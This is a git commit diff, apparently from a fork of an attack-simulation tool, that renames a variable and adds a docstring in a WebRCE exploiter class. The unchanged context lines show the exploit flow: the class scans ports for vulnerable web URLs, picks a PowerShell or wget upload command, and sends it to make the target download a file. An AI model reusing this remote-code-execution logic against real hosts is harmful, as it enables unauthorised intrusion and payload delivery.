forked from p34709852/monkey
renames, formatting and documentation
This commit is contained in:
parent
610d3d1144
commit
f3f124ce76
|
@ -83,8 +83,8 @@ class WebRCE(HostExploiter):
|
||||||
if not ports:
|
if not ports:
|
||||||
return False
|
return False
|
||||||
# Get urls to try to exploit
|
# Get urls to try to exploit
|
||||||
urls = self.build_potential_urls(ports, exploit_config['url_extensions'])
|
potential_urls = self.build_potential_urls(ports, exploit_config['url_extensions'])
|
||||||
self.add_vulnerable_urls(urls, exploit_config['stop_checking_urls'])
|
self.add_vulnerable_urls(potential_urls, exploit_config['stop_checking_urls'])
|
||||||
|
|
||||||
if not self.vulnerable_urls:
|
if not self.vulnerable_urls:
|
||||||
return False
|
return False
|
||||||
|
@ -187,6 +187,7 @@ class WebRCE(HostExploiter):
|
||||||
|
|
||||||
def build_potential_urls(self, ports, extensions=None):
|
def build_potential_urls(self, ports, extensions=None):
|
||||||
"""
|
"""
|
||||||
|
Build all possibly-vulnerable URLs on a specific host, based on the relevant ports and extensions.
|
||||||
:param ports: Array of ports. One port is described as size 2 array: [port.no(int), isHTTPS?(bool)]
|
:param ports: Array of ports. One port is described as size 2 array: [port.no(int), isHTTPS?(bool)]
|
||||||
Eg. ports: [[80, False], [443, True]]
|
Eg. ports: [[80, False], [443, True]]
|
||||||
:param extensions: What subdirectories to scan. www.domain.com[/extension]
|
:param extensions: What subdirectories to scan. www.domain.com[/extension]
|
||||||
|
@ -344,7 +345,6 @@ class WebRCE(HostExploiter):
|
||||||
if not commands:
|
if not commands:
|
||||||
commands = {'windows': POWERSHELL_HTTP_UPLOAD, 'linux': WGET_HTTP_UPLOAD}
|
commands = {'windows': POWERSHELL_HTTP_UPLOAD, 'linux': WGET_HTTP_UPLOAD}
|
||||||
command = self.get_command(paths['dest_path'], http_path, commands)
|
command = self.get_command(paths['dest_path'], http_path, commands)
|
||||||
|
|
||||||
resp = self.exploit(url, command)
|
resp = self.exploit(url, command)
|
||||||
self.add_executed_cmd(command)
|
self.add_executed_cmd(command)
|
||||||
resp = self.run_backup_commands(resp, url, paths['dest_path'], http_path)
|
resp = self.run_backup_commands(resp, url, paths['dest_path'], http_path)
|
||||||
|
|
Loading…
Reference in New Issue